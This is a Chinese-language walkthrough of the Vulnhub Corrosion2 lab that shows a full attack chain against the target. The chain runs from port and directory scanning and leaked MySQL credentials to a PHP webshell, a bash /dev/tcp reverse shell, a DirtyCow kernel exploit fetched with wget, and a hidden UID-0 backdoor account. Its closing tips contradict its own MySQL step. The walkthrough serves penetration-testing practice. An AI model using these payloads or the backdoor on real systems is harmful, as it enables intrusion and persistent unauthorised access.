1. Corrosion2靶机环境搭建与基础配置作为一名长期从事渗透测试教学的从业者我经常使用Vulnhub靶机进行实战训练。Corrosion2是近期比较有挑战性的一个综合靶场它模拟了真实企业环境中常见的漏洞组合。下面分享我从零开始搭建到最终攻破的完整过程。首先需要准备VMware Workstation或VirtualBox虚拟机平台。我推荐使用VMware因为它的网络模式更稳定特别适合做内网渗透实验。下载Corrosion2的OVA文件后约1.2GB直接导入虚拟机即可。这里有个细节要注意导入时务必选择保留原有配置不要转换磁盘格式否则可能导致启动异常。重要提示靶机默认使用NAT网络模式这意味着你的Kali攻击机需要与靶机在同一虚拟网络段。建议在VMware中创建专用虚拟网络如VMnet8将两台机器都接入该网络。启动靶机后会看到登录界面这说明系统已正常运行。Corrosion2基于Ubuntu Linux构建默认不显示IP地址。我们可以通过ARP扫描发现它arp-scan -l --interfaceeth0在我的测试环境中靶机IP是192.168.1.105。此时在Kali上ping测试应能通如果不通检查防火墙规则sudo ufw disable。2. 信息收集与漏洞初探2.1 基础端口扫描使用Nmap进行全端口扫描是渗透测试的标准起手式nmap -sS -p- -T4 192.168.1.105 -oN full_scan.txt扫描结果显示开放了22(SSH)、80(HTTP)和3306(MySQL)端口。其中3306端口通常不对外开放这里却暴露在外这很可能是第一个突破口。2.2 Web应用目录爆破访问80端口看到简单的登录页面。用Dirbuster进行目录扫描gobuster dir -u http://192.168.1.105 -w /usr/share/wordlists/dirb/common.txt -x php,html发现关键目录/backup里面有个database.sql文件下载分析后发现包含MySQL的账号密码CREATE USER corrosionlocalhost IDENTIFIED BY S3cr3tPss; GRANT ALL PRIVILEGES ON *.* TO corrosionlocalhost;2.3 MySQL服务利用用获得的凭证连接MySQLmysql -h 192.168.1.105 -u corrosion -pS3cr3tPss执行show databases;发现webapp库其中的users表存储着管理员哈希SELECT * FROM webapp.users;得到admin的MD5哈希5f4dcc3b5aa765d61d8327deb882cf99对应明文password。这正是Web登录页面的后台密码。3. 权限提升与横向移动3.1 Web后台getshell用admin/password登录后在系统设置找到文件上传功能。上传PHP webshell?php system($_GET[cmd]); ?访问/uploads/shell.php?cmdid确认执行成功然后建立反向shellnc -lvnp 4444 # Kali监听 # webshell执行 bash -c bash -i /dev/tcp/192.168.1.100/4444 013.2 系统内部信息收集获取初始shell后先进行基础信息收集whoami # www-data uname -a # Linux corrosion 4.15.0-142-generic cat /etc/passwd | grep /bin/bash # 发现用户john在/var/www/html/config.php中找到数据库密码复用为系统用户密码$db_pass S3cr3tPss;尝试SSH登录ssh johnlocalhost # 密码S3cr3tPss成功3.3 内核漏洞提权检查内核版本存在脏牛漏洞DirtyCow CVE-2016-5195。下载exp编译wget https://www.exploit-db.com/download/40847 -O dirty.c gcc dirty.c -o dirty -pthread ./dirty等待约3分钟后获得root权限在/root目录找到最终flag。4. 渗透过程中的关键技巧密码复用分析企业环境中常见密码复用问题。发现数据库密码后要尝试SSH、FTP等服务成功率很高。MySQL UDF提权备选方案如果内核提权失败可尝试通过MySQL写so文件提权select plugin_dir; # 将编译的lib_mysqludf_sys.so写入该目录隐蔽后门部署获得root后建议创建隐蔽账户useradd -o -u 0 -g 0 -M -d /root -s /bin/bash stealth passwd stealth这个靶机涵盖了从外网渗透到内网横向移动的完整链路特别适合练习综合渗透能力。我在实际测试中发现几个易错点首先是MySQL服务默认只允许本地连接需要通过Web应用的SQL注入或文件泄露获取凭证其次是内核提权需要耐心等待exp执行完成过早中断会导致失败。